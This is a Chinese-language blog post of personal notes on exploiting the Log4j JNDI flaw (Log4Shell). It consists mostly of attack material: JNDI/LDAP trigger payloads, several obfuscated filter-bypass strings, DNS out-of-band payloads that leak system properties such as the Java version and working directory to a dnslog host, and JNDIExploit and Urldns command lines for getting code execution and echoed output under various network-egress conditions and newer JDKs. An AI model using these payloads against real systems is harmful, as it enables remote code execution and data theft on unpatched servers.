log4j笔记

admin 2022年12月8日19:01:40评论219 views字数 2495阅读8分19秒阅读模式

今天水一篇log4j稍微整理一下的笔记


参考文章

https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNghttps://github.com/HackJava/Log4j2

本地测试maven

<dependency>    <groupId>org.apache.logging.log4j</groupId>    <artifactId>log4j-core</artifactId>    <version>2.14.1</version></dependency><dependency>    <groupId>org.apache.logging.log4j</groupId>    <artifactId>log4j-api</artifactId>    <version>2.14.1</version></dependency>

本地测试payload

import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;class LogTest {    public static final Logger logger = LogManager.getLogger();    public static void main(String[] args) {        logger.error("${jndi:ldap://localhost:8888/Exploit}");    }}

触发payload

${jndi:ldap://dns}

绕过payload

原理可以参考https://mp.weixin.qq.com/s/zIhRdgeUp4M_hMYc5JtTSg

(1)${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://127.0.0.1:1389/e0mlja}(2)${lower:r}${lower:m}${lower:i}$://127.0.0.1:1389/e0mlja(3)${${::-j}ndi:ldap://127.0.0.1:1389/e0mlja}(4)${${env:xxx:-j}ndi:ldap://127.0.0.1:1389/e0mlja}(5)${${lower:j}${lower:n}${lower:d}i:${lower:ldap}://127.0.0.1:1389/e0mlja}

敏感数据带外

参考 http://www.manongjc.com/detail/27-gxiymzbdwwvpdco.htmlhttps://github.com/jas502n/Log4j2-CVE-2021-44228${hostName}${sys:user.dir}${sys:java.version}${java:os}例如${jndi:ldap://${sys:java.version}.xxx.dnslog.cn}${jndi:ldap://${java:version}.x x x.dnslog.cn}

利用场景

利用工具

https://github.com/zzwlpx/JNDIExploithttps://github.com/WhiteHSBG/JNDIExploit

(1)http ldap均出网的情况

java -jar JNDIExploit-1.0-SNAPSHOT.jar -l 1389 -p 8080 -i ip${jndi:ldap://***/TomcatBypass/TomcatEcho} 一般情况下用这个直接打回显比较舒服

(2)ldap出网,http不出网

这种时候考虑可能是http不出网,换用本地bypass的方式进行绕过java -jar JNDIExploit-1.0-SNAPSHOT.jar -l 1389 -p 8080 -i ip${jndi:ldap://***/TomcatBypass/TomcatEcho} 一般情况下用这个直接打回显比较舒服

(3)dns出网,ldap,http均不出网

这时候考虑可能特定端口出网,利用53等端口开启http,ldap服务。java -jar JNDIExploit-1.0-SNAPSHOT.jar -l 53 -p 8080 -i ip

(4)dns出网,开启ldap,http后53端口无法收到请求

可能是限定了53只有udp出网,打不了

(5)dns,ldap,http都出网,攻击失败

这种时候大概率是缺少了对应的依赖,有可能是类似es的日志记录触发了log4j,但是比较难利用。

jdk高版本绕过

需要对应合适的依赖。利用urldns去寻找合适的类,然后去打

https://github.com/kezibei/Urldns

高版本绕过参考

https://tttang.com/archive/1405/https://tttang.com/archive/1489/

urldns使用

直接打反序列化 java -jar Urldns.jar file all dnslog.com 生成1个1.ser,然后发送获取反序列化的数据打jndi  java -jar Urldns.jar ldap all dnslog.com 然后post${jndi:ldap://127.0.0.1:1389/exp} exp可以任意更改

log4j笔记


Urldns简要分析

目录结构大概如下start 项目开始en 里面可以自行添加需要探测的classde 写反序列化数据findclass 师傅遗留下来的不用管

log4j笔记


大概是分为三种模式

(1)获取反序列化数据,传入file

此模式会直接生成探测的反序列化文件,利用反序列化漏洞直接post就行

log4j笔记

(2)jndi漏洞探测

基本大同小异,这里就是把payload放在了本地,本地开了一个jndi服务

log4j笔记


攻击过程

(1)利用urldns探测到合适的可利用的类(这里没有做不出网炸弹检测,jndi不出网也只能内网利用,目前就那几个方式)(2)利用合适的类,进行高版本绕过利用


原文始发于微信公众号(e0m安全屋):log4j笔记

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月8日19:01:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   log4j笔记http://cn-sec.com/archives/1447225.html

发表评论

匿名网友 填写信息